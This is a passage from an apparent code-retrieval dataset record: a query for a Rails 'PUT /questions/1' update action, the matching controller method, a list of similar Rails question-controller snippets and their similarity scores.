redirect_to :controller => 'qas', :action => 'index' }\n format.xml { render :xml => @qa, :status => :created, :location => @qa }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @qa.errors, :status => :unprocessable_entity }\n end\n end\n end", "def question_params\n params.require(:question).permit(:title, :answer)\n end", "def create\n\t# Finding the current surgeon \n\tsurgeon = current_user\n\t# creating the question with current surgeon\n\tquestion = surgeon.questions.new(question_params)\n\tif question.save\n\t# response to the JSON\n\t\trender json: { success: true,message: \"Question Successfully Created.\", response: QuestionSerializer.new(question).as_json(root: false) },:status=>200\n else\n render :json=> { success: false, message: question.errors },:status=> 203\n end\n\tend", "def question_params\n # params.require(:tst).permit(:name, :description, :status, :contributors)\n params.require(:question).permit(:name, :description, :status, :hint, :image_url, :explanation, :kind, :correct_response, :pause_at)\n end", "def question_params\n params.require(:question).permit(:title, :content, :tags, :tag_list)\n end", "def question_params\n params.require(:question).permit(:title, :body, :answer)\n end", "def create\n @api_v1_question = Api::V1::Question.new(api_v1_question_params)\n\n respond_to do |format|\n if @api_v1_question.save\n format.html { redirect_to @api_v1_question, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_question }\n else\n format.html { render :new }\n format.json { render json: @api_v1_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @question = Question.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end", "def create\n @my_question = MyQuestion.new(params[:my_question])\n\n respond_to do |format|\n if @my_question.save\n format.html { redirect_to @my_question, notice: 'My question was successfully created.' }\n format.json { render json: @my_question, status: :created, location: @my_question }\n else\n format.html { render action: \"new\" }\n format.json { render json: @my_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @question = Question.new(question_params)\n respond_to do |format|\n if @question.save\n format.html { redirect_to new_question_url, notice: \"已经成功创建题目:#{@question.title}.\" }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def manage_question(body)\n upload_questions(JSON.parse(body)['questions'])\n get_questions\nend", "def post(uri, xml)\r\n req = Net::HTTP::Post.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end", "def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end", "def create\n @question = Question.new(params[:question]) \n\n respond_to do |format|\n if @question.save\n send_confirmation_email\n send_notification_email\n format.html { redirect_to(@question) }\n format.xml { render :xml => @question, :status => :created, :location => @question }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def question_params\n params.require(:question).permit(:title, :body, :user_id, :tag_list, :question_id)\n end", "def question_params\n params.require(:question).permit(:title, :body, :answer, :tag_list, :slug)\n end", "def create\n @quest = Quest.new(params[:quest])\n\n respond_to do |format|\n if @quest.save\n format.html { redirect_to(@quest, :notice => 'Quest was successfully created.') }\n format.xml { render :xml => @quest, :status => :created, :location => @quest }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @quest.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @quiz = current_user.quizzes.build(quiz_params)\n\n @quiz.questions.each do |q|\n if q.question_type == \"free_answer\"\n q.answers = []\n end\n end\n\n puts @quiz.questions\n\n respond_to do |format|\n if @quiz.save\n format.html { redirect_to current_user, notice: 'Quiz was successfully created.' }\n format.json { render :show, status: :created, location: @quiz }\n else\n format.html { render :new }\n format.json { render json: @quiz.errors, status: :unprocessable_entity }\n end\n end\n end", "def test_should_create_post_via_API_XML\r\n get \"/logout\"\r\n post \"/forum_posts.xml\", :api_key=>'testapikey',\r\n :forum_post => {:title=>'API Test Post',\r\n :body=>'Test Post desc',\r\n :user_id=>1}\r\n assert_response :created\r\n end", "def question_params\n params.require(:question).permit(:title, :content)\n end", "def question_params\n params.require(:question).permit(:title, :content)\n end", "def question_params\n params.require(:question).permit(:title, :content)\n end", "def question_params\n params.require(:question).permit(:title, :content)\n end", "def question_params\n params.require(:question).permit(:content, :response_type_id, :parent_id, :category_id, :groups,\n :version_independent_id, :description, :other_allowed, :subcategory_id,\n concepts_attributes: [:id, :value, :display_name, :code_system],\n data_collection_methods: [])\n end", "def create\n @v1_question = V1::Question.new(v1_question_params)\n\n if @v1_question.save\n render json: @v1_question, status: :created\n else\n render json: get_errors, status: :unprocessable_entity\n end\n end", "def question_params\n params.require(:question).permit(:title, :quest, :answer,:category)\n end", "def question_params\n params.require(:question).permit(:question, :answer, :status_id)\n end", "def create\n @question_option = QuestionOption.new(params[:question_option])\n @question_option.question = @question\n\n respond_to do |format|\n if @question_option.save\n format.json { head :created, :location => question_option_url(@questionnaire, @page, @question, @question_option, :format => 'json') }\n format.xml { head :created, :location => question_option_url(@questionnaire, @page, @question, @question_option, :format => 'xml') }\n else\n format.json { render :json => @question_option.errors.to_json }\n format.xml { render :xml => @question_option.errors.to_xml }\n end\n end\n end", "def create\n @add_question = AddQuestion.new(add_question_params)\n\n respond_to do |format|\n if @add_question.save\n format.json { head :no_content }\n else\n format.html { render :new }\n format.json { render json: @add_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @question = current_user.questions.new(params[:question])\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: params.inspect}#'Question was successfully created.' }\n format.json { render json: @question, status: :created, location: @question }\n else\n format.html { render action: \"new\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def question_params\n params.require(:question).permit(:id, :user_id, :question, :explanation, :tags, :hint, :worth, :active, :qtype, :test_id)\n end", "def question_params\n params.require(:question).permit()\n end", "def new\n @question = @quiz.questions.new\n\n 4.times { @question.answers.build }\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end", "def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n QuestionMailer.trial_email(@question).deliver_now\n format.html { redirect_to root_path, notice: 'Your submission was successfully submitted.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @question = Question.new(params[:question])\n\n respond_to do |format|\n if @question.save(params[:question])\n format.html { redirect_to new_question_url, notice: 'questions was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_query( xml )\n url = URI.parse( self.url )\n response = self.http.post_form( url, { \"query\" => xml } )\n return response.body\n end", "def question_params\n params.require(:question).permit(:title, :description, :tag_list)\n end", "def create\t\n\tquestion_param = question_params.merge(:words => in_words(question_params[\"answer\"].to_i))\n @question = Question.new(question_param)\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n\t#=end\n end", "def create\n @mongo_question = MongoQuestion.new(mongo_question_params)\n @mongo_question.topics = params['mongo_question']['topics']\n respond_to do |format|\n if @mongo_question.save\n format.html { redirect_to @mongo_question, notice: 'Mongo question was successfully created.' }\n format.json { render :show, status: :created, location: @mongo_question }\n else\n format.html { render :new }\n format.json { render json: @mongo_question.errors, status: :unprocessable_entity }\n end\n end\n\n Question.create mongo_id: @mongo_question._id, registrant_id: current_registrant_id\n end", "def create\n @question = Question.create!(question_params.merge({user_id: 1}))\n if question_params[:answers]\n question_params[:answers].with_indifferent_access.each do |answer|\n Answer.create!(name: answer[:name], question_id: @question.id)\n end\n end\n @question.prepare\n @question.broadcast\n render json: @question, status: :created\n end", "def new\n \t@question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n format.json { render :json => @question}\n end\n end", "def question_params\n params.require(:question).permit(:title, :description)\n end", "def question_params\n params.require(:question).permit(:title, :description)\n end", "def question_params\n params.require(:question).permit(:title, :description)\n end", "def create_mod\n if params[:title] != nil && params[:content] != nil && params[:subId] != nil && params[:userId] != nil && params[:groupId] != nil\n @question.title = params[:title]\n @question.content = params[:content]\n @question.subId = params[:subId].to_i\n @question.userId = params[:userId].to_i\n @question.groupId = params[:groupId].to_i\n\n question_json = @question.to_h.to_json\n\n url = @httpIp+'/pet.com/api/question/createQuestion'\n uri = URI(url)\n res = Net::HTTP.post(uri, question_json, \"Content-Type\" => \"application/json\")\n puts res.body\n flash[:notice] = \"successfully created\"\n redirect_to questions_path\n\n end\n end", "def create\n\t\t@question = Question.create(params[:question])\n\t\t@question.user = current_user\n\t\trespond_to do |format|\n\t\t\tif @question.save\n\t\t\t\tformat.html { redirect_to @question, notice: 'Question was successfully created.' }\n\t\t\t\tformat.json { render json: @question, status: :created, location: @question }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @question.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def create\n @question = Question.new(question_params)\n @question.save\n notify_reviewers\n redirect_to @question\n end", "def question_params\n params.require(:question).permit(:body, :user_id, :type, answers_attributes:[:body, :question_id])\n end", "def create\n question = params.require(:question).permit(:title, :text, :tag1, :tag2, :tag3 ).merge(email: current_user.email)\n check = Question.create(question)\n if check.save\n redirect_to questions_path, notice: '登録しました。'\n else\n redirect_to new_question_path, notice: 'タイトル又は質問内容が入力されていない可能性があります。'\n end\n end", "def question_params\n params.require(:question).permit(:question, :answer, :correct)\n end" ]
[ "0.6957117", "0.6446711", "0.6372275", "0.63671416", "0.63493896", "0.6318407", "0.6211082", "0.61878395", "0.6170729", "0.6107971", "0.6066939", "0.6058545", "0.60504824", "0.6031851", "0.60101575", "0.6006084", "0.5992974", "0.5992974", "0.5976867", "0.59752655", "0.5962701", "0.5956955", "0.5956412", "0.5956412", "0.5956412", "0.5956412", "0.5956412", "0.5956412", "0.5956412", "0.5956412", "0.5956412", "0.5956412", "0.59556085", "0.5950927", "0.59469306", "0.59465873", "0.59427315", "0.59425986", "0.5903782", "0.58835006", "0.5881957", "0.58716744", "0.58716744", "0.5871139", "0.5838574", "0.58325994", "0.58260816", "0.582125", "0.5820749", "0.5810467", "0.5810167", "0.5802105", "0.57996535", "0.57925147", "0.57914203", "0.5787959", "0.57862264", "0.5785901", "0.5783792", "0.578102", "0.578102", "0.578102", "0.578102", "0.578102", "0.57787466", "0.5775461", "0.5768994", "0.57559377", "0.57424957", "0.5740197", "0.5737545", "0.5737545", "0.5737545", "0.5737545", "0.5732332", "0.57268333", "0.57165825", "0.5715933", "0.56986594", "0.56984997", "0.5693854", "0.56913304", "0.56877905", "0.5687438", "0.56845784", "0.5683225", "0.568298", "0.56798685", "0.5662299", "0.5659017", "0.56552947", "0.5654835", "0.5650468", "0.5650468", "0.5650468", "0.56486046", "0.56474155", "0.5641417", "0.5636624", "0.56328833", "0.5624607" ]
0.0
-1
PUT /questions/1 PUT /questions/1.xml
def update @question = Question.find(params[:id]) check_forged_path respond_to do |format| if @question.update_attributes(params[:question]) if params[:question].has_key?(:purpose) @question.purpose = params[:question][:purpose] end format.html { redirect_to question_url(@question) } format.xml { head :ok } format.json { head :ok } else format.html { render :action => "edit" } format.xml { render :xml => @question.errors.full_messages.to_xml, :status => :bad_request } format.json { render :json => @question.errors.full_messages.join("\n").to_json, :status => :bad_request } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.json { render :json => 'Question updated OK' }\n format.xml { head :ok }\n else\n format.json { render :json => @question.errors }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to(@question) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors,\n :status => :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n \n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to(@question, :notice => 'Question was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n respond_to do |format|\n if @question.update_attributes(params[:question])\n flash[:notice] = 'Question was successfully updated.'\n format.html { redirect_to(@question) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to api_v1_question_path(@question), notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to(@question, :notice => 'Question was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to(@question, :notice => 'Question was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to(@question, :notice => 'Question was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to(@question, :notice => 'Question was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to(@question, :notice => 'Question was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to(@question, :notice => 'Question was successfully updated.') }\n format.xml { head :ok }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n\t\t\t\tformat.json { render :json => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end", "def update\n\t@question = Question.find(params[:id])\n\n\trespond_to do |format|\n\t if @question.update_attributes(params[:question])\n\t\tformat.html { redirect_to(@question, :notice => 'Question was successfully updated.') }\n\t\tformat.xml { head :ok }\n\t else\n\t\tformat.html { render :action => \"edit\" }\n\t\tformat.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n\t end\n\tend\n end", "def update\n @question = @quiz.questions.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n flash[:notice] = 'Question was successfully updated.'\n format.html { redirect_to(quiz_questions_path(@quiz)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |wants|\n if @question.update_attributes(params[:question])\n flash[:notice] = 'Question was successfully updated.'\n wants.html { redirect_to(@question) }\n wants.xml { head :ok }\n else\n wants.html { render :action => \"edit\" }\n wants.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, :notice => 'Question was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to new_question_path, notice: 'questions was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_question\n @question = Question.find(params[:id])\n @question.update(params[:question])\n redirect \"/questions/#{@question.id}\"\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { render \"add_categories\"}\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = @page.questions.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n flash[:notice] = 'Your question was successfully updated.'\n format.html { redirect_to(offering_page_question_url(@offering, @page, @question)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @survey = Survey.find(params[:id])\n json = params[:survey]\n json[:questions] = JSON.parse(json[:questions])\n json[:questions].each_with_index do |question, idx|\n json[:questions][idx]['id'] = idx + 1\n end\n\n respond_to do |format|\n if @survey.update_attributes(json)\n format.html { redirect_to @survey, notice: 'Survey was successfully updated.' }\n format.json { render json: @survey }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # before_action :set_question\n #before_action :set_tag\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: \"更新しました\" }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n @question.update_attributes(params[:question])\n render :json => @question.id if @question.save\n # respond_to do |format|\n # if @question.update_attributes(params[:question])\n # format.html { redirect_to(@question, :notice => 'Question was successfully updated.') }\n # format.xml { head :ok }\n # else\n # format.html { render :action => \"edit\" }\n # format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n # end\n # end\n end", "def update\n @test_question = TestQuestion.find(params[:id])\n\n respond_to do |format|\n if @test_question.update_attributes(params[:test_question])\n format.html { redirect_to @test_question, :notice => 'Test question was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @test_question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n if @v1_question.update(v1_question_params)\n render json: @v1_question, status: :ok\n else\n render json: get_errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @api_v1_question.update(api_v1_question_params)\n format.html { redirect_to @api_v1_question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_question }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_rest\n @question_localized = QuestionLocalized.find(params[:id])\n\n respond_to do |format|\n if @question_localized.update_attributes(params[:question_localized])\n flash[:notice] = 'QuestionLocalized was successfully updated.'\n format.html { redirect_to(@question_localized) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question_localized.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_mod\n if params[:title] != nil && params[:content] != nil\n @question.title = params[:title]\n @question.content = params[:content]\n\n question_json = @question.to_h.to_json\n\n url = @httpIp+'/pet.com/api/question/updateQuestion'\n uri = URI(url)\n res = Net::HTTP.post(uri, question_json, \"Content-Type\" => \"application/json\")\n puts res.body\n flash[:notice] = \"successfully updated\"\n redirect_to questions_path\n end\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end", "def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question.course, notice: 'Question was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n if params[:tags].nil?\n @question.tags = []\n else\n @question.tags = Tag.find(params[:tags])\n end\n\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to admin_question_path(@question), notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n question = Question.find(params[:id_question])\n if question.update(params_question)\n render json: question, status: 200\n else\n render json: question.errors, status: 422\n end\n\n end", "def update\n @survey_question = SurveyQuestion.find(params[:id])\n\n respond_to do |format|\n if @survey_question.update_attributes(params[:survey_question])\n format.html { redirect_to(@survey_question, :notice => 'Survey question was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @survey_question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n #@question = Question.find(params[:id])\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: t('alert.question.update_success', default: 'Question was successfully updated.') }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\t@question = Question.find(params[:id])\n\t@questionnaire_question=QuestionnaireQuestion.find_by_question_id(@question.id)\n\t@questionnaire=Questionnaire.find(@questionnaire_question.questionnaire_id)\n\n\trespond_to do |format|\n\t if @question.update_attributes(params[:question])\n\t#\tformat.html { redirect_to(@question, :notice => 'Question was successfully updated.') }\n\t\tformat.html { redirect_to new_question_path(:questionnaire_id=>@questionnaire.id), :notice => 'Answer was successfully Saved.' }\n\t\tformat.xml { head :ok }\n\t else\n\t\tformat.html { render :action => \"edit\" }\n\t\tformat.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n\t end\n\tend\n end", "def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend", "def update\n @questionform_question = QuestionformQuestion.find(params[:id])\n\n respond_to do |format|\n if @questionform_question.update_attributes(params[:questionform_question])\n format.html { redirect_to(@questionform_question, :notice => 'Questionform question was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @questionform_question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @user_question = UserQuestion.find(params[:id])\n\n respond_to do |format|\n if @user_question.update_attributes(params[:user_question])\n flash[:notice] = 'UserQuestion was successfully updated.'\n format.html { redirect_to(@user_question) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user_question.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @my_question = MyQuestion.find(params[:id])\n\n respond_to do |format|\n if @my_question.update_attributes(params[:my_question])\n format.html { redirect_to @my_question, notice: 'My question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @my_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if not (granted_for?('root') || granted_for('survey'))\n access_denied\n else\n \n @survey = Survey.find(params[:id])\n \n @survey.add_question(params[:new_question],\n params[:new_question_values],\n params[:question_type]) unless params[:new_question].blank?\n \n respond_to do |format|\n if @survey.update_attributes(params[:survey])\n flash[:notice] = 'Survey was successfully updated.'\n format.html { redirect_to( edit_survey_path(@survey)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @survey.errors, :status => :unprocessable_entity }\n end\n end\n end\n end", "def update\n\t\t@question = Question.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tif @question.update_attributes(params[:question])\n\t\t\t\tformat.html { redirect_to @question, notice: 'Question was successfully updated.' }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"edit\" }\n\t\t\t\tformat.json { render json: @question.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def update\n @questionset = Questionset.find(params[:id])\n\n respond_to do |format|\n if @questionset.update_attributes(params[:questionset])\n format.html { redirect_to @questionset, notice: 'Questionset was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @questionset.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question_set = QuestionSet.find(params[:id])\n\n respond_to do |format|\n if @question_set.update_attributes(params[:question_set])\n format.html { redirect_to @question_set, notice: 'Question set was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question_set.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @question = Question.find(params[:id])\n question = params.require(:question).permit(:title, :text, :tag1, :tag2, :tag3)\n Question.where('id = ?',@question.id).update(question)\n redirect_to questions_path, notice: '更新しました。'\n end", "def update\n @question_topic = QuestionTopic.find(params[:id])\n\n respond_to do |format|\n if @question_topic.update_attributes(params[:question_topic])\n format.html { redirect_to(@question_topic, :notice => 'Question topic was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question_topic.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @intake_question = IntakeQuestion.find(params[:id])\n\n respond_to do |format|\n if @intake_question.update_attributes(params[:intake_question])\n format.html { redirect_to @intake_question, notice: 'Intake question was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @intake_question.errors, status: :unprocessable_entity }\n end\n end\n end", "def put!\n request! :put\n end", "def manage_question(body)\n upload_questions(JSON.parse(body)['questions'])\n get_questions\nend", "def update\n question = Question.find_by!(id: params[:id])\n if question\n question.name = params[:name]\n question.description = params[:description]\n question.user_id = params[:user_id]\n question.category_id = params[:category_id]\n question.zavrseno = params[:zavrseno]\n question.uposlenik_id = params[:uposlenik_id]\n question.save\n render json: question, status: 200 \n else\n render json: { errors: \"This link is invalid.\"}, status: 404\n end\n end", "def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to 